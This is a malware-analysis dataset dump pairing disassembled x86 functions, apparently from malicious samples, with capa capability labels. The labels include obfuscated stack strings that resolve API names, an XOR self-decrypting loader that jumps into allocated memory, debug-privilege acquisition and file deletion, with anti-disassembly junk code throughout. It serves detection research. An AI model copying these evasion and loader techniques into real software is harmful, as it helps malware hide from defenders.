joyce8/EMBER2024-capa huggingface dataset:
Function at 0x752ac0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push 0xf
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.0075812d
add esp, 0xc
nop
or esp, 0
ror ecx, 0
ja 0x752b03
pushf
push ebx
add ebx, 0x4885
ror ebx, 0x1e
pop ebx
std
cld
popf
xchg edi, edx
xchg edi, edx
je 0x752b00
jbe 0x752b03
sub eax, 0x51ec45c6
mov byte [ebp - 0x14], 0x51
mov byte [ebp - 0xf], 0x74
mov byte [ebp - 0xa], 0x6a
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 9], 0x73
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0xd], 0x34
mov byte [ebp - 8], 0x74
mov byte [ebp - 0x11], 0x64
mov byte [ebp - 0xc], 0x33
mov byte [ebp - 7], 0x75
mov byte [ebp - 0x10], 0x66
mov byte [ebp - 0xb], 0x47
mov byte [ebp - 6], 0
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 0x13]
sub cl, 1
mov byte [ebp - 0x13], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 9]
sub al, 1
mov byte [ebp - 9], al
mov cl, byte [ebp - 0x12]
sub cl, 1
mov byte [ebp - 0x12], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 8]
sub al, 1
mov byte [ebp - 8], al
mov cl, byte [ebp - 0x11]
sub cl, 1
mov byte [ebp - 0x11], cl
mov dl, byte [ebp - 0xc]
sub dl, 1
mov byte [ebp - 0xc], dl
mov al, byte [ebp - 0x10]
sub al, 1
mov byte [ebp - 0x10], al
mov cl, byte [ebp - 0xb]
sub cl, 1
mov byte [ebp - 0xb], cl
mov dl, byte [ebp - 7]
sub dl, 1
mov byte [ebp - 7], dl
call fcn.0075e688
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x752bce
xor eax, eax
jmp 0x752c59
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.0074f194
mov dword [ebp - 0x18], eax
push 0xf
push 0
lea edx, [ebp - 0x14]
push edx
call fcn.0075812d
add esp, 0xc
cmp dword [ebp - 0x18], 0
jne 0x752bf8
xor eax, eax
jmp 0x752c59
rol edx, 0xb
rol edx, 0x15
nop
jp 0x752c08
jb 0x752c03
jnp 0x752c08
mov ecx, 0x458bdc8e
call 0x9c1d145f
add byte [eax], al
mov eax, dword [ebp - 0x18]
push eax
call fcn.0075c7b8
add esp, 4
xor edx, 0x218f
xor edx, 0x218f
test dword [esp], ebx
jno 0x752c4e
pushf
ror esp, 0
add esi, 0x2bf7
sub esi, 0x2bf7
nop
lea ecx, [ecx + 0x6d25]
sub ecx, 0x6d25
popf
jmp 0x752c47
mov esi, esi
jnp 0x752c4b
jo 0x752c4e
or dword [ebx - 0x74aef3b3], 0xff520855
push ebp
call 0x8bd08abc
in eax, 0x5d
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x754b04
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xc
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.0075812d
add esp, 0xc
cld
mov esp, esp
jne 0x754b2c
jae 0x754b24
lea esi, [esi]
jo 0x754b28
je 0x754b2c
mov edx, 0xf045c635
inc esi
mov byte [ebp - 0x10], 0x46
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 6], 0x74
mov byte [ebp - 0xf], 0x79
mov byte [ebp - 0xa], 0x70
mov byte [ebp - 5], 0
mov byte [ebp - 0xe], 0x6a
mov byte [ebp - 9], 0x64
mov byte [ebp - 0xd], 0x75
mov byte [ebp - 8], 0x66
mov byte [ebp - 0xc], 0x51
mov byte [ebp - 7], 0x74
cld
ja 0x754b67
xchg esp, esp
mov esi, esi
jbe 0x754b67
mov ebx, 0xf04d8a1a
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 6]
sub al, 1
mov byte [ebp - 6], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
mov dl, byte [ebp - 0xa]
sub dl, 1
mov byte [ebp - 0xa], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 9]
sub cl, 1
mov byte [ebp - 9], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 8]
sub al, 1
mov byte [ebp - 8], al
mov cl, byte [ebp - 0xc]
sub cl, 1
mov byte [ebp - 0xc], cl
mov dl, byte [ebp - 7]
sub dl, 1
mov byte [ebp - 7], dl
and edx, 0xffffffff
sub edx, 0
xor ebx, 0
lea edi, [edi]
jb 0x754bdb
xchg esp, esp
jbe 0x754bd8
jae 0x754bdb
lcall 0x8900, 0x9aa8e8
inc ebp
cld
call fcn.0075e688
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x754bed
xor eax, eax
jmp 0x754c21
jmp 0x754bef
add esi, dword [esp]
sub esi, dword [esp]
xchg esi, eax
xchg esi, eax
jo 0x754bfe
xchg esp, esp
jno 0x754bfe
mov edi, 0x50f0458d
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.0074f194
mov dword [ebp - 0x14], eax
push 0xc
push 0
lea edx, [ebp - 0x10]
push edx
call fcn.0075812d
add esp, 0xc
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x75552e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0xd
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0075812d
add esp, 0xc
cmp esi, dword [esp + 0x10]
dec eax
inc eax
jl 0x75555a
xchg ecx, esi
xchg ecx, esi
xchg esi, esi
jbe 0x755557
jge 0x75555a
mov edx, 0x48e845c6
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x16], 0x75
mov byte [ebp - 0x15], 0x4d
mov byte [ebp - 0x14], 0x62
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x75
mov byte [ebp - 0x11], 0x46
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0
ror esp, 0
jno 0x755593
clc
std
cld
je 0x7555ab
mov eax, eax
jp 0x75559c
lea edx, [edx + 0xa06]
lea edx, [edx - 0xa06]
jne 0x7555ab
or dword [edx - 0x167f17b3], 0xe84d8801
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 0x17]
sub cl, 1
mov byte [ebp - 0x17], cl
mov dl, byte [ebp - 0x12]
sub dl, 1
mov byte [ebp - 0x12], dl
mov al, byte [ebp - 0xd]
sub al, 1
mov byte [ebp - 0xd], al
mov cl, byte [ebp - 0x16]
sub cl, 1
mov byte [ebp - 0x16], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0x15]
sub al, 1
mov byte [ebp - 0x15], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0x14]
sub dl, 1
mov byte [ebp - 0x14], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
cmp edi, dword [esp]
je 0x755629
pushf
rol ecx, 0xb
rol ecx, 0x15
inc ecx
dec ecx
popf
jp 0x755626
jne 0x755629
mov ebx, 0x905ae8
add byte [ecx + 0x7d83f845], cl
clc
add byte [ebp + 7], dh
call fcn.0075e688
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x75563e
xor eax, eax
jmp 0x755715
lea ecx, [ecx + 0x6ead]
lea ecx, [ecx - 0x6ead]
not ebx
not ebx
lea ecx, [ecx + 0x4328]
lea ecx, [ecx - 0x4328]
add ebx, 0x77a4
sub ebx, 0x77a4
je 0x755680
pushf
add esp, 0
xchg ebx, esi
xchg ebx, esi
lea eax, [eax]
shr esp, 0
popf
jg 0x75567a
jg 0x75567c
nop
jne 0x755680
mov edx, 0x51e84d8d
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0074f194
mov dword [ebp - 4], eax
neg esi
neg esi
jp 0x7556aa
pushf
test dword [esp], edx
ror ebx, 2
rol ebx, 2
popf
js 0x7556a5
jnp 0x7556a7
jnp 0x7556aa
call 0xdf6418
push 0xd
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0075812d
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x7556c4
xor eax, eax
jmp 0x755715
rol edi, 0xe
ror edi, 0xe
shr esp, 0
jg 0x7556ed
pushf
ror eax, 3
ror eax, 0x1d
or edi, 0
popf
lea ebx, [ebx + 0xe0a]
lea ebx, [ebx - 0xe0a]
js 0x7556ea
jle 0x7556ed
sub eax, 0x51fc4d8b
mov ecx, dword [ebp - 4]
push ecx
call fcn.0075c7b8
add esp, 4
not ecx
not ecx
je 0x755712
pushf
rol esi, 0x13
rol esi, 0xd
popf
mov esp, esp
jns 0x75570d
jle 0x75570f
jne 0x755712
sub eax, 0x5ffc55ff
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x758923
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xc
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.0075812d
add esp, 0xc
jbe 0x75893e
js 0x75894c
pushf
jbe 0x758944
popf
lea esp, [esp]
jns 0x75894c
mov edx, 0x44ec45c6
mov byte [ebp - 0x14], 0x44
mov byte [ebp - 0xf], 0x49
mov byte [ebp - 0xa], 0x66
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0xe], 0x62
mov byte [ebp - 9], 0
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0x10], 0x66
mov byte [ebp - 0xb], 0x6d
and esi, esi
xchg ecx, ecx
test dword [esp], esi
jnp 0x75898f
pushf
cmc
popf
xchg esp, esp
jp 0x75898f
sub eax, 0x80ec4d8a
jmp 0xecc31199
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 0x13]
sub cl, 1
mov byte [ebp - 0x13], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
call fcn.0075e688
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x758a04
xor eax, eax
jmp 0x758a9a
not esi
not esi
js 0x758a0a
clc
jns 0x758a21
jle 0x758a0f
jg 0x758a11
lea eax, [eax + 0xf1f]
lea eax, [eax - 0xf1f]
js 0x758a21
add eax, 0xec458d77
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.0074f194
mov dword [ebp - 4], eax
push 0xc
push 0
lea edx, [ebp - 0x14]
push edx
call fcn.0075812d
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x758a4b
xor eax, eax
jmp 0x758a9a
test dword [esp + 8], edi
ror eax, 0x17
rol eax, 0x17
jno 0x758a57
js 0x758a6d
pushf
xchg ebx, esi
xchg ebx, esi
or edx, edx
or esp, 0
popf
jae 0x758a68
lea edx, [edx]
jns 0x758a6d
ljmp 0x42e8:0x50fc458b
mov eax, dword [ebp - 4]
push eax
call fcn.0075c7b8
add esp, 4
neg ecx
neg ecx
ror ebx, 0x13
ror ebx, 0xd
dec ebx
inc ebx
jl 0x758a93
pushf
cmc
popf
js 0x758a8e
jae 0x758a90
jge 0x758a93
add eax, 0x51084d8b
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x75afa6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
cmp dword [ebp + 8], 0
jne 0x75afba
jmp 0x75b14b
shr esp, 0
test edi, 0x207e
jp 0x75afcd
jle 0x75afc7
jle 0x75afc9
jnp 0x75afcd
lcall 0x4589, 0x8458b6c
in al, dx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx]
mov dword [0x737e14], edx
not edx
not edx
add edx, 0
js 0x75aff2
ja 0x75afe9
jge 0x75afeb
jle 0x75afed
jns 0x75aff2
sub eax, 0x458b96a1
in al, dx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 4]
mov dword [0x738080], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 8]
mov dword [0x73807c], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0xc]
mov dword [0x7381e0], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x10]
mov dword [0x7381e4], ecx
test esp, 0x7be5
jge 0x75b033
pushf
cmc
popf
jnp 0x75b030
jl 0x75b033
mov esp, 0x4df045c6
mov byte [ebp - 0x10], 0x4d
mov byte [ebp - 0xf], 0x70
mov byte [ebp - 0xe], 0x62
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x4d
mov byte [ebp - 0xb], 0x6a
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x62
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x7a
mov byte [ebp - 5], 0x42
mov byte [ebp - 4], 0
lea ebx, [ebx + 0xd6f]
sub ebx, 0xd6f
cmc
js 0x75b07f
jae 0x75b078
jmp 0x75b07a
je 0x75b07c
jns 0x75b07f
xor eax, 0x80f0558a
ljmp 0x458a
mov dl, byte [ebp - 0x10]
sub dl, 1
mov byte [ebp - 0x10], dl
mov al, byte [ebp - 0xb]
sub al, 1
mov byte [ebp - 0xb], al
mov cl, byte [ebp - 6]
sub cl, 1
mov byte [ebp - 6], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 5]
sub cl, 1
mov byte [ebp - 5], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 9]
sub al, 1
mov byte [ebp - 9], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 7]
sub cl, 1
mov byte [ebp - 7], cl
jo 0x75b0e9
cld
test dword [esp], ebx
test esp, 0x6af3
jg 0x75b101
jmp 0x75b0f7
xchg esp, esp
jge 0x75b0fb
je 0x75b0fd
jle 0x75b101
sub eax, 0x7c3d831c
xor byte [ebx], 0
cmp dword [0x73807c], 0
je 0x75b11e
lea edx, [ebp - 0x10]
push edx
mov eax, dword [0x73807c]
push eax
call fcn.0074f194
mov dword [0x737e10], eax
cmp ecx, dword [esp + 0xc]
mov ecx, ecx
rol edi, 0x18
ror edi, 0x18
jp 0x75b13b
pushf
ja 0x75b130
popf
xchg ecx, eax
xchg ecx, eax
jb 0x75b136
mov eax, eax
jnp 0x75b13b
jmp 0xdfbea9
push 0xd
push 0
lea ecx, [ebp - 0x10]
push ecx
call fcn.0075812d
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x76067e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push 0xc
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.0075812d
add esp, 0xc
xchg esi, esi
jns 0x7606aa
mov edx, edx
jge 0x7606a6
js 0x7606aa
mov ecx, 0xf045c65a
dec esi
mov byte [ebp - 0x10], 0x4e
mov byte [ebp - 0xb], 0x68
mov byte [ebp - 0xf], 0x66
mov byte [ebp - 0xa], 0x66
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 9], 0x43
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 8], 0x70
mov byte [ebp - 0xc], 0x62
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x42
mov byte [ebp - 5], 0
cmp edi, dword [esp]
jle 0x7606f1
pushf
xchg ecx, ecx
jle 0x7606e5
xchg edi, eax
xchg edi, eax
popf
nop
mov esp, esp
mov esi, esi
jg 0x7606f1
add eax, 0x80f04d8a
jmp 0xf0c38efb
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
mov cl, byte [ebp - 0xa]
sub cl, 1
mov byte [ebp - 0xa], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 9]
sub al, 1
mov byte [ebp - 9], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 7]
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x401c66
pop dword [ebp - 0x40]
mov eax, 0x401c66
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x265fc507
sub dword [ebp - 0x50], 0xd80d7fbc
mov dword [ebp - 0x4c], 0x3d15b2ff
add dword [ebp - 0x4c], 0xf51d9946
mov dword [ebp - 0x48], 0x89211b9e
add dword [ebp - 0x48], 0xc32b2890
mov dword [ebp - 0x44], 0xd787569
sub dword [ebp - 0x44], 0xd787569
lea eax, [ebp - 0x50]
push eax
mov eax, 0x4a32b8df
add eax, 0xb60d7775
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x5473fcad
sub dword [ebp - 0x50], 0xe0019357
mov dword [ebp - 0x4c], 0x23eb426d
add dword [ebp - 0x4c], 0x1d811f08
mov dword [ebp - 0x48], 0x49bcff2b
sub dword [ebp - 0x48], 0xe64d92bf
mov dword [ebp - 0x44], 0x53120ce3
add dword [ebp - 0x44], 0xacedf31d
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x19fa6bee
add eax, 0xe645c43e
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3b1ca
push 0
call eax
mov ecx, 0x5a86
mov ebx, eax
mov edi, 0x1c6d297a
sub edi, 0x1c2cb97a
add edi, dword [ebp - 0x40]
mov edx, 0x1508a86d
sub edx, 0x44ed7db6
sub dword [ebp - 0x34], edx
mov esi, dword [edi]
xor dword [ebp - 0x28], 0x1a277253
xor esi, edx
sub dword [ebp - 0x3c], eax
mov dword [ebx], esi
sub dword [ebp - 0x10], esi
add ebx, 0x6dd79d0
sub ebx, 0x6dd79cc
add edi, 4
loop 0x401d7d
add eax, 0x248adc6b
add eax, 0xdb768080
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xf1bbdad7
sub ecx, 0xf17bdad7
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1026d027
Capabilities:
Encode data using base64

Disassembly:
mov dword [ebp - 0x14], ebx
test dh, 0xf1
cmp esp, esi
mov dword [ebp - 0x50], edx
jmp 0x1041e135
dec edx
jmp 0x10263f49
mov dword [ebp - 0x34], ecx
mov ecx, dword [edi + 0x24]
dec eax
mov dword [ebp - 0x48], eax
mov eax, dword [edi]
test sp, 0x4af2
mov dword [ebp - 0x40], eax
rcl ah, 0x42
lahf
mov eax, dword [edi + 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [edi + 0x2c]
cmp esp, ebx
jmp 0x1041c545
push ebp
mov ebp, esp
cwde
lea esp, [esp - 0x50]
push ebx
adc ecx, 0x613a2e14
push esi
stc
rol bl, cl
push edi
mov edi, dword [ebp + 8]
ror eax, cl
mov ecx, dword [edi + 0x38]
ror ebx, cl
mov eax, dword [edi + 0x10]
rcl esi, 0xe9
inc si
mov edx, dword [edi + 0x3c]
mov dword [ebp - 0x20], eax
movsx ax, cl
sar al, 0xc6
mov eax, dword [edi + 0x40]
mov ebx, dword [edi + 0x34]
cmc
bswap esi
mov dword [ebp - 0x18], ecx
or esi, 0x10970d58
mov ecx, dword [edi + 0x44]
bts esi, ebp
mov esi, dword [edi + 0x20]
mov dword [ebp - 0x30], eax
xor eax, 0x5f184fd5
mov dword [ebp - 0x38], ecx
rol ecx, 0x9e
mov ecx, dword [edi + 8]
mov dword [ebp - 0x2c], edx
neg dx
xor ah, dh
sub eax, 0x4ff230c9
mov edx, 1
add ah, cl
shl edx, cl
rcr ax, 0xb8
btc cx, si
bts ax, cx
mov ecx, dword [edi + 4]
bts eax, ebp
or ax, sp
mov eax, 1
cmp dl, 0xe
shl eax, cl
mov ecx, dword [edi + 0x14]
jmp 0x10260af5
mov dword [ebp - 0x10], eax
shr ax, cl
adc ax, si
mov eax, dword [edi + 0x18]
test bh, ch
cmc
stc
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + 0x30]
cmp ecx, ecx
mov dword [ebp - 4], eax
xadd al, ah
xor eax, 0x2d582f0f
add ax, cx
mov eax, dword [edi + 0x1c]
jmp 0x102594ad
mov dword [ebp - 0x3c], ecx
add cx, ax
mov dword [ebp - 0x28], 0
rcr ecx, cl
Function at 0xd021b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00d02140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00d02140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00d02140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00d02140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xd02bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xd02c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xd1487c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xd02c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xd02c52
xor eax, eax
pop esi
leave
ret 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4013cf
Capabilities:
Get number of processors

Disassembly:
mov ecx, 0x508f20
jmp 0x4013c3
mov eax, 0x4c7c34
call fcn.00497154
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.004014f4
mov eax, dword [0x504900]
lea ecx, [esi + 0xac]
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ecx], eax
mov eax, dword [0x504900]
mov dword [esi + 0xb4], eax
push 1
mov dword [esi], 0x4cf7cc
pop eax
mov ebx, 0x508f1c
push 0xa
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], 7
or dword [esi + 0x28], 0xffffffff
or dword [esi + 0x24], 0xffffffff
pop edx
push 0x64
mov dword [esi + 0x30], edi
mov dword [esi + 0x64], edx
mov dword [esi + 0x6c], edx
mov dword [esi + 0x2c], edi
pop edx
mov dword [esi + 0x34], 2
mov dword [esi + 0x38], eax
push ebx
mov byte [ebp - 4], 2
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x48], edi
mov dword [esi + 0x4c], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x54], eax
mov dword [esi + 0x58], edi
mov dword [esi + 0x5c], 5
mov dword [esi + 0x60], eax
mov dword [esi + 0x68], eax
mov dword [esi + 0x9c], edx
mov dword [esi + 0xa0], edx
mov dword [esi + 0xa4], edi
mov dword [esi + 0x70], eax
mov dword [esi + 0x74], eax
mov dword [esi + 0x78], 0x3e8
mov dword [esi + 0x7c], eax
mov dword [esi + 0x80], eax
mov dword [esi + 0x84], eax
mov dword [esi + 0x88], eax
mov dword [esi + 0x8c], 0xc0
mov dword [esi + 0x90], 0x6c
mov dword [esi + 0x94], eax
mov dword [esi + 0x98], edi
mov dword [esi + 0xa8], edi
call fcn.004b246d
push ebx
lea ecx, [esi + 0xb4]
mov dword [esi + 0xb0], edi
call fcn.004b246d
or dword [esi + 0xc0], 0xffffffff
or dword [esi + 0xbc], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0xb8], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret